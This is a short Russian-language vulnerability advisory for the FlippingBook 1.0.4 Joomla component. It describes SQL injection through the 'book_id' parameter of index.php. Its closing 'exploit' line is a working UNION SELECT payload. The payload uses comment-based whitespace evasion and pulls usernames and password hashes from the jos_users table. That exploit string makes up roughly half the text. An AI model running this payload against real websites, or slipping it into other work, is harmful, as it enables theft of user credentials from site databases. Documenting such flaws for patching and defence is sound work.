Программа: Joomla Component FlippingBook 1.0.4
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «book_id» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Эксплоит:
/index.php?option=com_flippingbook&Itemid=28&book_id=null/* */union/**/select/**/null,concat(username,0x3e,password),null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/jos_users/*
